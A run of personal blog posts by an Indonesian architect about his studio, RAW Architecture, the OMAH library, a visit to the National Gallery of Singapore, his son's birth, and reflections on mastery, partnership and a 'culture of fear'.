Lovely people aroundThe third phase, It was a calling to nurture all of the designer that helped me in the design process. They have been pushing so hard. There had been a time that the people in the studio was in contract for one year, we’ve got 12 people in the studio so every month there would be one person leaving the office and one new person coming to the office. one time, I couldn’t take it anymore, and I didn’t celebrate the graduation of the designer in the studio. But after that I realised that It was normal for freshgraduates to do that. So this changed my way of thinking. I really start to think how to teach them in the 1 year time. Strangely after that, they wanted to stay bit longer, I was grateful because of that.
Lecture in OMAH LibraryThe fourth phase is about how to give to other. I saw architecture was far or exclusive from public in Indonesia. It was happened like that because the nature of architecture itself is based on commision and that is the nature of architecture. During the discussion with several people, So I was thinking to create one platform for young people to learn architecture, so OMAH was created after finished the construction of pak Misnu’s house named Murakabi which meant “usable house for all.
In walking through these 4 phases, there will be crossing of answering the question, what do you really want and what does the society want. The main process is finding sympathetic client and firing distrustful client. The sympathetic client is worth to be second, third, and being continuous client.
Having work in our studio, is like working in the good place that make you smile everyday. we are building memory with the people around us, the happiness and the sadness. I cried because of architecture was far from sacred in my world, term sacred, creates a moment that i have to treat architecture as a life, guard it with heart, do it wholeheartly.
I met Rofi few years ago when she filmed Bare Minimalist. I knew her from the writing that she did. She has such skill on forming framework through text, but still striving to do further iteration in design. She had been working so hard in the studio, contributing in making the framework for the design project. She put the huge effort, and huge happiness, and I would say warmth in the studio. She is happy as always, she trained herself very hard, sometimes not many people can see that, but I can see it clearly, that she became one best designer combined with strong framework, great attitude, and such interesting altruistic work with her creative morning. I was sad to release her, but I know that she has bigger thing to do rather than staying at the studio.
Rofi’s warmth and happiness had been coloring the studio with such amazing moments. Inspite her happiness, she had deep untoldable sadness as well. The more you happy actualy you have gone sad before. I was sad like ussual having one person go. But i will be happy to see her flying, support her. People come and go leaving memories, much of sweet memories, such little of bitter memories, as rofi’s leaving the office, she will come back. I hope for that, shaped by more critical environment, more challenging atmosphere, with so much love that this world can give.
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Singapore, 031215. “Remember, teamwork begins by building trust. And the only way to do that is to overcome our need for invulnerability.” –Patrick Lencioni
I was curious about what is inside National Gallery of Singapore what makes it great, in term of process and product of its piece.
Yesterday, Scott, Miftah, and Tatyana had survey site to National Gallery of Singapore with me . It was the opening day for the National Gallery of Singapore. It is the fruition of 8 years hard-work. I’m sure they are excited with the meeting. It just turned out, that the meeting was fabulous, more than it was expected. We are meeting with probably one of the smartest team in gallery design in the world.
In meeting there were people who in charge with the building of National Gallery of Singapore, Director : Sushma Goh, advisor from Studio Milou who is Gallery expert : Guillaume Levy-Lambert, Senior Associate from Studio Milou : Wenmin Ho, the one from CPG (I will update his name after asking Scott), Curator : Lisa Horikawa, and few other people . We have our head of the gallery, pak Tubagus Andri, Arya Abieta, Bayu Genia, Afrina, and our currator Citra. The scheme of the National Gallery of Singapore is intimately exercised from the initial process of forming the brief with the function brief consultant in almost a year to just think about the brief. The competition shortlisted 5 more finalist, and selected 3 more detailed scheme to be exercised. Studio muele in joint collaboration with CPG won the design.
The design consists of 3 main design intentions. First, digging, excavating the land to open access to one to another building to extend the exhibition space at ground, 1st floor, 2nd floor. Second, creating open layout space at the roof top. Third, the create structure solution to strengthen roof, whole floors which needed to be taken all before rebuilding new floor plate. This whole process took out all of the floor plate except the city hall area, left the facade, and rebuilding it again. I was astonished by all of the effort, and the humongous data that the have gathered and exercised in this building. The process, I am sure the bitter part, need lot of effort and time, but the result is sweet, and that can be experienced by Singapore people. It’s pride of nation which can be leveraged to louvre and British Museum.
Now, looking on by what we have in National Gallery of Indonesia. We won the prize 2 years ago. We have so much things to do, to prepare which is convincing people, and having right attitude, and confidence in one of the most difficult part which we need extra effort to push, to check list, sometimes we do it in our free time, little expenditures. Comparing to 500 million of Singapore dollar that they spent on this museum project, our project is 1/10 of their budget, but I think even tough budget is important, It’s not everything. The data of the National Gallery of Singapore has collected is worth much to value of the bit.
It’s a critical process for evaluating the National Gallery of Singapore process, and looking for what we have, the expenditures, the environment, the process, the realisation, the technology might be different. The nature is different, that is why the design which need to solve this bit of process need to be very responsive in all of the stages. We really need to form a integrated team, to shape our own Indonesia’s national gallery. This humongous process of the iterations converges again in this trip.
What I love is the way that Sushma explained the brief, and the realisation of the project somehow recalled what I saw in Scarpa’s work. It’s intimately telling story about how things made, and the detail, the gab between joint, was exercised. The way that they protected, preserved the old artefacts, previous settings in city hall, the library, the wood finishes, the sloping of the ram, the detail, lamp fitting, the air conditioning ducting, the design of the grill, the skylight which open beautiful light to the sky was appreciated deeply by me.
After the meeting,
in the evening We chilled out at Marina Barrage after the meeting.
I looked at the sky,
and thinking all of the possibility,
The benchmark.
I thought that
the leverage is much higher now.
I miss my family again :)
today Rofi is having birthday, we are going to celebrate it in the studio.
credit to the National Gallery of Singapore picture to Tatyana Kusumo
It is my first time to take trip to Cilacap for seeing project with Rio after birth of Miracle. we will spend 2 days 1 night trip for 14 hours in train, I left miracle and Laurensia. I missed them, I am looking forward to see them again.
For this November’s “Work”, CreativeMornings Jakarta presents: Realrich Sjarief.
Realrich Sjarief is the principal architect of RAW Architecture, a leading Indonesia’s architecture firm based in Jakarta. He received his bachelor degree in architecture from Institut Teknologi Bandung, Indonesia (2005). He was in the family of skilled builder from Borneo and tutored under his father, later continued his family legacy in building craftmanship.
He has gained 10 years of post qualification experience ever since. Prior to establish RAW Architecture in 2011, he worked for Foster and Partners in London, and several firms before. Aside from his daily work of practicing architecture, he is also a visiting lecturer for some university, and also a contributor for some architecture and lifestyle magazine in Indonesia. Currently he is leading OMAH Architecture Library, a private library which focusing on development of young people. He shared his office’s small summer pavilion for restless spirits as a hope for future architects.
here is our strange library, OMAH. These are 4 kids standing from the crowd who helped me in OMAH. Honestly I’m just doing this for fun, and willing to help the young generations, and myself to understand architecture in deeper layer, the under layer within one architecture.
This library is strange library, but it’s not like a story of strange library in Haruki Murakami’s book which is The story of a lonely boy, a mysterious girl, and a tormented sheep man plotting their escape from a nightmarish library, OMAH is paradox from haruki’s story, it’s a hope for better architecture work in the future. GO restless spirit !!!
“Frank, why you design your house like this ?”
“because I like it”
“so you don’t like my project”
“I don’t like it”
“so why you worked on that project”
“because I did it for living”
“you shouldn’t do that then”
“yes, I won’t do that anymore”
that was a concise transcript from the interview of Frank Gehry, in a book by Barbara Isenberg. After that situation, the client left Gehry, and Gehry was terrified for his future, how he would pay his staff without his client. He had difficulty to explain his ideals to the clients, and the clients did not value his design approach. It turned out that Gehry was okay, and the client was okay. Gehry finaly built, Bilbao, and finaly he designed Louis Vuitton Foundation. The client was even more successful, it was happy ending story.
I have another story in just past month.
“The design of the building is below my criteria, this is not sustainable building.”
One time, one man who was the coordinator said it in my first meeting with him . At that time, I was wondering why did he said that, did he know the design intent from the beginning ? did he know the value that was extracted during meeting with clients ? I was angry and argued, that the building is sustainable, and we have got the design approach right from the beginning.
after our explanation, he just noticed that he didn’t get the latest drawing done by us, what he got is the latest drawing done by the previous consultant. I was angry and sounded quite hard, because of the judgement from him without further analysis. I think this is always happened, to get the judgement by its cover. This is problem when people has difficulty to know architect’s intent. I felt sorry because I kind of angry and the situation was not to comfortable for both of us.
Louis Kahn contemplated a romantic picture when he designed the Salk Insitute in California. Scientist would walk up and down between the laboratory building and the plazal the would engage in heated debates about the problems of the world; they would pause to “chalk an equation or draw a diagram” on the slabs of slate that Kahn had placed there for their convenienve. But as Arthur Danto has observed that no bodey was ever there nobode but architectural touris. Kahn was almost hopeless in his romanticicsm, hoped people would rist the the architecture but rarely did or do. [1]
Ironically in architecture without architects, Rudofsky discussed that architecture is not made or designed by individuals or groups intentionally to produce meaning. It happens in Parc de la villete in Paris that the meaning is understandable only if people, through text and narrative know how is understandable by public. This is our home work to explain our idea to the other people other than architect. After that the narrative will come alive as what it was designed. If we have enough experience, the allegory will be decreased if we are more sensitive,of maybe even increased if we lack of information, and disrespect to the other.
The last part is all about alchemy with other people, which proves that my experience with the project management is a process to face other, to explain the architecture, to be patience with the gab of knowledge, to be patience with the judgement, because sometimes it’s just happen in the wrong timing, and wrong place, made by future friends, a fragment of happy ending. I just remember piece by Jaya Suprana played by Priscilla Yosephanie. The title of the piece is Fragmen.
[1] Danto, Arthur. Philosophizing Art : Selected Essays, Berkeley : University of California Press.
[2] Rudofsky, Bernard, Architecture without architect.
He was born on thursday 5 th November 2015. His born is one miracle for our small little family and bigger family of Laurensia’s and Me. I was very happy for this, has been smiling in my action. I think something is different, it’s like having support and energy everyday. It kept us smiling and grateful of all of the blessings in life.
Richard Templar stated that In this life we seek for meaning of life. Observing life in general , people very broadly seem to fall into two main camps : those who seem to have mastered the knack of successful living and those who still find it all a bit of a struggle. He observed the secret of successful living, he said some things we do will make us unhappy and some things we choose to do will make us happier. He divided the rules of life into five areas – us, our partner, our family, our social circle (including work and friends ) and lastly the world. he wrote number of rules, there are 2 rules of 100 rules that made miraclerich is such a contentment for life, and stating our rule as parent to nurture him.
The first one is contentment is a high aim and the second one is the role as a parent.
The first rule showed that the happiness is such an illusory thing that spending too much time chasing it is not very worthwhile. Happiness is one end of a spectrum – misery being the other end. Templar then stated that there will be excitement of birth of a child, relief at a successful birth, but not sure about happiness after that. The most important thing is he said, “fireworks, butterflies, unbelievable feelings. It’s brilliant. It’s extreme. But that intensity can’t and won’t last. You have to go back to reality sometime…. Contentment is what you hope for after the elation has worn off and you settle back into a relaxed and happy simplicity. In fact, contentment is the worthier aim, because it lasts… if you find you are with somebody where there is no big firework display, palpitations and extreme of feelings but there is a baseline contentment and warmth and love – be happy with that.”
The second rule showed that what our duty as a parent. That we have to make sure they eat the best food, best education, developed their own best interest not the one we are keen on, set boundaries what the can and can’t do with acceptable level of discipline. We should provide safe haven, no matter how much trouble they’ve got themselves into in the big bad world outside. We should be firm ,loving, sharing, caring and responsible. We will stand up for them, protect them and keep them safe. We will stretch their imaginations, and feed them with stimuli, so they are excited about the world, finaly templar said,
“You will approve of them, boost their self – esteem, improve their confidence, … and when the time comes for them to leave the nest, you will help them pack and keep giving that support while they find their feet (or should that be wings ?).
not much then really.”
Miracle is easy to care by us, he is quiet even when he pee, poo. He cries only when he is hungry other than that he faced our face with his little eyes, and stayed silent, sometimes smiled. He reminded me of Laurensia, his calm, and perseverance attitude. Me and Laurensia said to him, “Son if you have problem, please let us know, we will help you, don’t stay silent.”
Look at the trees, evergreen, its branches stick to each other. If there is tree standing alone, its branch usually fall down easily during rain, snow, or hard season. We are not different than the trees, when bad thing comes sooner than we expected in this life. We need support from others to keep standing. There is one poet from anonymous. The title is Foot Steps,
Walk a Little Slower, Daddy, Mommy
“Walk a little slower Daddy, Mommy” said a child so small, “I’m following in your footsteps and I don’t want to fall.
Sometimes your steps are very fast, Sometimes they’re hard to see; So walk a little slower, Daddy, Mommy, For you are leading me.
Someday when I’m all grown up, You’re what I want to be; Then I will have a little child Who’ll want to follow me.
And I would want to lead just right, And know that I was true, So walk a little slower, Daddy, Mommy, For I must follow you.”
Miracle, Laurensia, and me will walk a little slower, but no need to follow us, world is waiting for you, we are still here :) My world is changing now, I do many smile all of the time, Laurensia keep smiling all of the time. It’s all because this miracle. Just like my friend, Kolael said “It is now new life for you. Wish it will be field with joy and happiness”
[1] Templar, Richard. The Rules of Life.
[2] Van Ekeren, Glenn. 12 little secret towards happy life
She was smiling, laughing. Tommorow is our big day. I knew she was scared of the cesarian, hoping everybody would be all right, thinking the bad thing, what might happen. She is sleeping right now, I feel more relaxed but I still could not sleep until now, 2.30 am.
Edhie said, “Tommorow you are going to be a father, do many smiles”. I smiled looking his text to me while we were discussing about his house, the skylight, how the skylight will lighten statue of Virgin Mary. I knew him since 3 years ago, suddenly we met in one time, talking and discussing about how warmth one house should be, he is like my family, full of warmth and compassion to the people around him, his aura is positive, hoping the great for future of his family, friends.
After Hearing him, I just noticed that I have been quite nervous, seldom smile, and bitter, to feel afraid of many things which is unsure. I tried to cover with smile which was covering sadness. I was dishonest about my self. I am looking for my light, in the abyss, dragging myself deep to nowhere, until just last night, Laurensia sent me the story about red the little reminded us about cherry. how she has been crying all of the time. Here is the story
I love you, Laurensia, Miracle, Cherry. Thank you Edhie, I will do many smiles. :) thank u for the pray.
“Far and away the best prize that life has to offer is the chance to work hard at work worth doing.” -Theodore Roosevelt
There was one competition of high rise building, we tried to push new ideas, spending time quite a bit to solve the planning. We proposed about having integrated atrium connecting office, meeting, and public space on one linear space connected by building facing north to south and respecting the scale and treatment of the heritage building adjacent. We did several workshop, testing bits pieces, in order to learn much from this project.
Personally I really don’t care about winning or losing this project, there were 3 things in my mind working on this competition : First, to test the strength of process and production of our current team right now, Is the chemistry and coordination strong enough ? . Second, is to have fulfilment session to address the people in the studio, trying to appreciate their time and idea. The third, is to commit myself that this is great learning curve, and obviously we do, I really do learn in this project, for the calculation of the energy in the building, the execution of ideas, and the most difficult part, how to make the design work in terms of operational. In this third idea, the learning curve is exercised, and we need to be confident that our process were great.
In many design exercises, people tend to ask for answers. I really believe dan there are hunger of explorations in the most creative people. This creative people, whom I called them restless spirits, tend to be more cooperative, less – self centred and more willing to help other people. I tried to help them grow, nurturing their ideas. Facing all of the people in the studio, looking at the effort, reminded me of Gretchen Rubin when she asked, what did I do in our spare time ? She found that her co clerks at the supreme court : they read law journals for fun, they talked about cases during their lunch hours, they felt energised by their efforts. They showed enthusiasm.
Enthusiasm is more important to mastery than innate ability, it turns out because the single most important element in developing an expertise is your willingness to practise, you’re better off pursuing a profession that comes easily and that you love because that’s where you will be more eager to practice and thereby ear a competitive advantage. I really enjoy the fun of failure. Let’s not afraid to fail.
Many people worked very hard, I looked at them on 5 a.m in the morning, everybody were very tired, and was sleeping. I felt a sleep quite bit of times at desk, sleeping- waking in the need to wake up and did the model for the development. In my mind, I remember few years back, when me and Iyok, were at the studio of DP Architect in Singapore, just both of us, turning off the lights of the studio.
Actually, I felt guilty to have people staying this late in the office. Suddenly the face of one of the Rimba popped up in my messenger, and telling about how grateful he was, and how much he learnt in this project, and willing to push more.
I have been so fortunate to be accompany with all of beautiful people in RAW studio, there are two things matter most, first who are willing to try premise by premise, testing it, sometimes right and sometimes wrong. let the process flow. I thanked all of these efforts. Second, I looked at the product, and felt very happy with the result, and will give my best thoughts, ideas, to give the best appreciations to their efforts in this moment, this time. It’s commitment to appreciate the process.
Yesterday was the last day for Jovita. I was thinking that RAW is like mutant school in X men, their character just unique by person. Having her graduation was like to let go the beast, one character in marvel full of blue Furs for the ordinary people out there. Some people said she is the phoenix that in fact that her face is rectangle, stiff, her heart shows warmth. All of the people around me, they are doing huge favour for me. I feel so blessed, and being thankful.
I started RAW practice, which I always think off like a mutant school or “Rumah Petak”, in such small room, 3 x 3 meter, it used to be guest bedroom, I spent times sleeping in that room with my grandmother when she need accompany. The room is nice, it faced north side, it was bright for the whole day. It’s located at my parent house. The 3 x 3 m then extended to the garage, space which is 3 x 10 m , a long narrow space, and then mezzanine located on top of it with further exercise of most efficient space, most appropriate lighting, and most reasonable material in this tiny space. The numbers got increased, many young people joined the studio. Today it consists of 20 people including myself. The place was scattered, disorder, full of paradox in its neat reasonable planning. It shows paradox, challenging its status quo time by time.
The table was flipped standing on top of ceiling, the quote of einstein was carved in the entrance saying “ if your ide is not absurd enough there is no hope for it.” Sometimes I try to challenge each project to its limit, by our hard work, deep observation, and numbers of experimentation. I always believe in fresh ideas, fresh meat from our mind.
Is the architecture has singularity effort ? I don’t believe idea that is architecture is a one person’s holistic work, but It could start with one ideas, and the idea got refined, as a part of creative pregnancy. There is no singularity in terms of creating product of architecture. I found out three way of thinking about architecture studio, first that studio should be a container of ideas, place where the experiment should be brought forward, the premise should be challenged. Second, that studio should be a school of design where young restless spirits learn their best, third, that the studio should be place where countless effort noted, re-exercised, praised with no fear. The third process is about the beginning, the transition, and the conclusion of the process re – search, the things that is un-solitary. The process consists of patron, fellow friends, fellow colleagues, assistants, technical , engineers, builders, and future people.
So Jovita, keep fighting. We are all fighting, keep connected. I am supporting you, spread your wings !
Today is friday night, I was thinking about the next lecture on omah series, in collaboration with UPH Architecture and Konteks. This is about the first phase of mastery by greene, it’s deep observation.
Le Corbusier wrote book titled Journey to the East as travel diary that the twenty-four-year-old Charles-Édouard Jeanneret (Le Corbusier) kept during his formative journey through Southern, Central, and Eastern Europe in 1911. It’s about his experience in contact with vernacular architecture, the mosque complexes, the Acropolis, and the Parthenon.
Le Corbusier’s story is very much a story of awakening and a voyage of discoveries, recording a seven-month journey that took him from Berlin through Vienna, Budapest, Bucharest, Istanbul, Athos, Athens, Naples, and Rome, among other places. Le Corbusier considered this journey the most significant of his life. Hearing the lecturer in this short course, is like having a pilgrimage trip from best teachers and professors in this course. I never been to Corbusier’s work, but reading this, I would love to observer some of his works.
This deep observation phase was well known phase for architects, like Antonie Predock, Frank Gehry, carlo scarpa, or even Tadao Ando. To be a master, period of deep observation is the critical point. As Bernard Schumi said in Virilio’s book Landscape as events, there will be person who will be need to share his understanding, wisdom, bringing map so every matters will be shiny in crystal clear for especially to understand the wisdom of the east, very heart of Indonesian specialities. This is the position of the lecturer who will present journey to the east short course.
The process of deep observation is divided to 5 topics , Education, Traditional – Contemporary Architecture, Sustainable design in tropical climate, and materiality in indonesian context – awakening the modern craftmanship. The course is set by 5 considerations on how we learn the forming of education of an architect, understanding our traditional wisdom, reflecting on our current contemporary issues, innovating through sustainable architecture, and the last mastering the architecture and the technology and science of material in form making.
There are 5 – friends, thinkers, and professors that will be the presenter, person who will deliver the thoughts about journey to the east. David Hutama, Setia Sopandi, Avianti Armand, Tiyok Prasetyoadi and Adi Purnomo. David is one of the best to explain the condition of education of architects in indonesia, he is the one who proposed Pak Cung, one architect, historian, lecturer, currator of several exhibition and Bu Vivi, writer, architect, lecturer. Pak Tiyok, co founder GBCI, architect, and community leader and Pak Mamo, writer, architect, and lecturer to join the board. They are very busy people, I am glad they will to help this short course for the restless spirit.
I remember quote from Erich Fromm which fills me full of curiosity in this deep observation phase
“Let your mind start a journey thru a strange new world. Leave all thoughts of the world you knew before. Let your soul take you where you long to be…Close your eyes let your spirit start to soar, and you’ll live as you’ve never lived before.”
There are two types of mindset, fixed mindset, and growth mindset. people with a fixed mindset believe that you are stuck with however much intelligence you’re born with. They would agree with this statement: “If you have to work hard, you don’t have ability. If you have ability, things come naturally to you.” When they fail, these kids feel trapped. They start thinking they must not be as talented or smart as everyone’s been telling them. They avoid challenges, fearful that they won’t look smart.
people with a growth mindset believe that intelligence can be cultivated: the more learning you do, the smarter you become. These kids understand that even geniuses must work hard. When they suffer a setback, they believe they can improve by putting in more time and effort. They value learning over looking smart. They persevere through difficult tasks.
I had talk with Rio, he wanted to open coffee store, he, his girlfriend, like coffee so much. I knew they had business before, Terminal Kopi, and they still have a dream to enjoy their passion in coffee making. Even he tried to explain to me how to make good coffee in several steps. how different little steps to stir coffee will make much difference on the taste, Hearing him, it’s like hearing somebody in joy, I just wonder how he wanted to grow bit by bit considering his young age. He had this growth mindset while some people are just afraid of challenges, fear of the future.
Growth is what the people with the second mindset, growth mindset believe in. It’s what we are in the architecture trying to learn by putting time and effort. Off course the ability will be challenged.
This mindset was well explained by Daniel H. Pink in his book Drive. He introduced three drives in human behaviour, first drive is, the basic drive to survive, to overcome, hunger, drank to quench their thirst. Second drive is, the punishment and reward drive, it’s basically drives from external environment for example like if you raise our pay we would work harder. The third drive, is the learning and explore drives. Human beings seek out novelty and challenges, to explore and to learn. The third drive was more fragile than the other two, it needed the right environment to survive.
Deci wrote in Pink’s book, when money is used as an external reward for some activity, the subjects lose intrinsic interest for the activity, rewards can deliver a short term boost, like caffeine, when the effect wears off, it can reduce a person’s longer term motivation to continue the project. Pink showed example of the closing of the paid Encarta encyclopedia by Microsoft and triumph of wikipedia, open source encyclopedia. The Third drive, is about to push ourself in learning and exploration state, awaking the our creative side.
I remember rio as my self in the beginning of something new, I remember about spirit of cooking by Jakusho Kwong. He stated,
“there is a spirit that we should not lose, an whether we’re just making things up as we go along or someone is right there showing us the way, that spirit holds something important for us in our everyday life.”
Wiwid’s father just passed away. I deeply sad for her loss. I called her, and heard her story, I know it’s not easy for her having loss in such period, a month, for losing his father. She even said that her father suddenly lost his memory. I hope she is going to be okay, our little Cherry is together in heaven with her father.
Emmy is going to have her marriage on 7th next month. She is going to have marriage with her boyfriend, Ganesha. Looking at their time, I have not known their relationship, but I’m happy again to reconnect with her, and getting know her update, what she is doing, and they are doing great !
Our baby will be delivered at the beginning of next month. We are so happy to wait for the little one. My group friends from uni had competitions for our baby name, some of the options were very nice, and very fun. There were normal names like Aldrich, Goodrich, Richie, Salimrich, Richheart biscuit name : rich cheese, even crazier No Rich no Party. How can I not smile to see all of the options.
This is alpha for us, there were omega for other people. there was omega for us and even there were alpha for others.
There is alpha, the beginning, and there will be omega, the ending. Laurensia asked today , what do you like, real flower of just fake flower who will last longer, always blooming ?
I like real flower, orchid. In this life, I don’t believe on eternal object. I believe on moment, the most beautiful part of orchid is when it’s blooming. Moment with whom we spent time together. I believe this life has a beginning and an end. I cherish all of the moment with sad and happiness, get close to each other. Everybody is fighting hard in this universe, everybody deserve to be happy. It’s just the way it is if my time is up, I hope I could share it much to the people.
These few days, I had been stayed late, slept for such little hours. I was determined to push the design to find its perfection, one to another projects. Big to small, those are still same. My eyes were hurt, I felt bitter, if there was mirror I would looked pale. I was very tired.
Instead of having an idea about writing the building, I remember one movie titled how much is your building weigh Mr. Foster. The movie is about showcase of norman foster’s building. I put this movie in appreciation, even though there was critics in New York Times from A. O. Scott about this movie that it should explained more analysis and argument, is more than a little disappointing. I just want to appreciate, efforts of Norman and his friends, creating such humble, amazing, honest pieces by pieces architecture, which demonstrate mastery in Architecture. The effort to create piece of architecture is huge, from the beginning, until completion. I want to appreciate his time.
The movie showed 3 ideas of how I really appreciate Norman Foster and His firm, first that his firm, started by dot, beginning of his smaller, more simple work and drove the opportunity of getting more complex projects which needed bigger team. Second, this movie is just to appreciate for Norman’s and Associate’s time, which considerably high, consuming their life. Third, we can see his time, dedicated to his family and respect his health, Norman, at that time he was 76 years old, participating in a cross-country race through some very beautiful snow and also spending time at home with his young son. Like me, like other architects, what we are willing to get is just appreciation for all of our time, beginning with dot, spending time with all of the team who will collaborate, and spending time with our family.
I can conclude all of this experience in also three points, Yesterday, I was at drop off in Sampoerna Strategic Square, I finished 2 presentations for RAW projects at east Indonesia, well it is still confidential, I will share it when the time is ready, including all of the people involve inside it, with one of long lasting relationship friend. All of these started by dot,relationship like the first point.
For the second point, It will be the Heart of the East with all of the team onboard. We really pushed the design into more than 110 slides, each slide shows deep thinking about the project, accentuation about its soul on 4 design exercises : form finding, detail design, value engineering, and appreciating, getting feedback from all of the owner side : Leader, shares, the team of clients. All of the people need to be appreciated. Me and the team have been spending 2 weeks working non stop on this projects, consuming in total (10 hours x 2 weeks x 5 days x 2 designers (200 hours) + 10 hours x 3 days x 2 associates (60 hours) + 10 hours x 3 days x 4 designers (120 hours)) * 20 percent of plus for other supports from projects which usually we spend more than this. That was 456 hours, I haven’t calculated my time in this project, so I think it will be like 40 hours, so lets sum it all from principal to designer level to 500 hours . We also need to sum up, the time that was consumed in formulating brief, consulting with clients, and the time was spend in client’s side, usually it will take 30 percent from the total project, but I will just leave it empty. If Gladwell stated, 10000 hours is one of the factor to be succeed. I could just smile in second to appreciate all of these process.
I just smile looking on our effort, I think that the movie title should sounded better, at least I would say, how much your time weigh Mr.Foster.
In architecture, for all of the learning, we have to dedicate our time to learn so much knowledge in all of the level consists of art, history, culture and science from theory, and the practical, about building mastery. I remember one poem gave by my friend, Liza Susanto, she came with her husband Adi Indra during opening at OMAH titled The Strange Library.
Strange Library
Knowledge, could it just be a spice to make our brains tastier?
We’re curious. We learn.
We become hungry for knowledge as if we’ve been starving for centuries.
Thus, we cram, we swallow and try to devour everything we could into our heads.
However, time chases us like a hunter after prey.
After all, knowledge doesn’t come to us effortlessly.
We risk the danger of being demolished with time and carefully learn all that there is to learn and remember.
At last, are we able to feast, risk it all and retreat without being fed on by time instead?
I added at the end,
Risk the weigh of time that is what we commonly do.
We risk the weigh of time for that appreciation
Risking the weigh of time for our passion.
Our passion, the weigh of time burning from our heart
Our love, the weigh of time serve people.
Soon I realise at the end, before, Pak Misnu, picking me at the drop off. I realise it’s about time to go back to my family, it’s the third point from what Foster did. I can smile now, and not feeling tired.
Have a great weekend guys. let’s run ! away ! :)
[1]http://www.nytimes.com/2012/01/25/movies/how-much-does-your-building-weigh-on-norman-foster.html?_r=0
[2]http://allpoetry.com/poem/11825194-The-Strange-Library-by-Ann-C.
[3]http://gladwell.com/outliers/ [look as his book, outliers]
What does partnership means ? From Merriam Webster dictionary stated that partnership is the state of being partners or a relationship between partners or a business that is owned by partners. Even further this definition is elaborated in IRS website. It stated the relationship existing between two or more persons who join to carry on a trade or business. Each person contributes money, property, labor or skill, and expects to share in the profits and losses of the business. [2] or from Wikipedia A partnership is an arrangement where parties, known as partners, agree to cooperate to advance their mutual interests. The partners in a partnership may be individuals, businesses, interest-based organizations, schools, governments or combinations organizations may partner together to increase the likelihood of each achieving their mission and to amplify their reach. [3]
What is business means ? from Merriam Webster, the definition is the activity of making, buying, or selling goods or providing services in exchange for money or work that is part of a job or the amount of activity that is done by a store, company, factory, etc.
During this end year crisis, what I say is, it’s not a crisis of money, but crisis of positive mentality. I think that right now, the regulation is getting more organised, There are certainty, orders. It’s one of the good factor in creating great nation. Many people complained about the crisis, Indonesia is such a depressing society. Glenn Hajadi, tutor friend from high street studio once said to me that the situation is now more challenging. 3 things is my mind, hearing him that we have to work harder than before, we have to be more critical with whatever resource that we have, and last one, we have to be free from fear. But other than that, life is just so beautiful to be experience, not by fear, but by joy.
Go travel, as far as you can, go thinking , and wander as unique as you can, experience your life by yourself, there unique path for you. I met Pak Bambang Purwanto, one fotographer, and collaborator in Home Diary Magazine. He told me story about his family and his son, and his experience in taking photographs, and suddenly I remember about Strange Details by Michael Caldwell and we discuss about the character of the architects whom he remembered during his photograph session. I was fortunate to hear his story and support about OMAH. It’s like hearing from patron or clients and colleagues who have been supporting what I have been doing. The feel is precious, because I feel being trusted. It’s everything, being like a family. It’s feel as great as having trust from the associates and the designers in the studio.
I have been friend with Scott, for few years, since I was in DP Architects, we were in the same page, of push pull bar. I feel that it was such in serendipity that he was in WATG (Wimberly Whisenand Allison Tong & Goo) for hospitality projects, and I found RAW few years back. I trusted him as the partner of RAW International since few months back because of 3 reasons. First, that my capacity on running project has limitation, so I have to be very honest about my time. Architecture is a long time process, and prove it is more challenging when we have to get the direction, budget, coordination, it’s all about team work. Second, Scott has strong capability on understanding about building, knowing how it will work in terms of integration between space, form, facade, structure, mechanical, electrical and plumbing. RAW international hopefully running well [finger crossed], with some of overseas projects, we are getting there, the project is being exercised over and over. Third, we have been friends for years, still keep in touch, the relationship is personal, I treated him as like my family, let’s growing bit by bit this time.
The partnership should amplify what I have been doing in the firm. I need time with my family as well. He said it to Yudith, he would like to help me so we can have more time with our family.How can I not agree with him. trust is partnership. Deep down, is the feel like you have family. So What do you think ?
I remember Denise Tjokrosaputro asked about originality in Indonesian Architecture, she shared her concern about copy and paste culture in our architecture, or what we can assume, lack of originality, her question drove further about the education of architecture, how we did teach the students to have their originality. It was fresh question about 2 things, the process of established architect practice and process of the becoming an architect.
In my subtle moment, when I rethinking all of the complexity in what is happening. I just believe the 2 things, first, it is the paradigm that we are having is the culture of fear. second, we need to honestly know about the development of mastering art of architecture.
I will try to describe the second one, because it’s easier. It’s straight forward, Greene agreed with me stated there are three stage to process mastery, first , deep observation – the passive mode, second the skills acquisition – the practice mode, third, the experimentation – the active mode. These three stages are full cycle of iteration for mastering architecture. The first and the second phase are a phase of wanderer, having apprenticeship, culminations of learning curve by previous mentors. and The third phase is the phase of actualisation. This is common when we can read in outliers that we have to acquire 10000 hours of practice, trial and error for mastering skills. Da Vinci once wrote, “one can have no smaller or greater mastery than mastery of oneself” , how can I not agree with him.
The first one, is not so easy to explained, explaining about paradigm is not easy because it consists of economy, politics, philosophy, culture. It combines the past, looking at the breakdown, and try to understand this complex situation. But in short way, Our situation could be described by tagore’s poem, it happens in India almost 100 years ago, the poem of Tagore titled where the mind is without fear. here it is:
“Where the mind is without fear
and the head is held high,
where knowledge is free.
Where the world has not been broken up into fragments by narrow domestic walls.
Where words come out from the depth of truth,
where tireless striving stretches its arms toward perfection.
Where the clear stream of reason has not lost it’s way
into the dreary desert sand of dead habit.
Where the mind is led forward by thee
into ever widening thought and action.
In to that heaven of freedom, my father,
Let my country awake.”
There were so many times, students were asking approvals of their design, they were asking for motivations, they were asking for respects, and later they could accept our guidance because they felt appreciated, nurtured, honoured. Students, they like young flowers, which is ready to bloom, which is beautiful, which show promising about the future. I always said to students that I teach for. They shouldn’t worry about mark, The should keep their inner voice high. Gandhi has proved it this poem could awake his disciples. But in here fundamentality i want to ask, are we in the culture of fear ? I would like to invert Tagore’s poem,
“Where the mind is with fear
are our mind is in fear ?
and the head is helf low ?
where knowledge is not free ?
where the world has been broken up into fragments by narrow domestic walls. ?
where words is not come out from the depth of truth, ?
where tireless striving stretches its arms toward neglection ?
where the clear stream of reason has lost it’s way ?
into the dreary desert sand of dead habit.
where the mind is not led forward by thee
into ever widening thought and action.
In to that hell of freedom, my father,
Let my country …. ?“
The question is in our mind, and the answer is in our mind. It will refresh the society, I will ask for just little imperfection, for just appreciating all of the young spirits, the perfection in imperfection. Are we in the culture of fear ? Am I in the culture of fear. I do hope the mind is without fear every day, every action, every words because I am one of the students as well.
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Rumah di Pangkalan Jati ini adalah karya rumah pertama, oleh Rich, yang pernah saya tulis. Perjalanan penulisannya pun sangat berkesan. Tuan rumah, Mba Nina dan Ibu Atiek sangat hangat dan banyak membantu pemotretan kala itu.
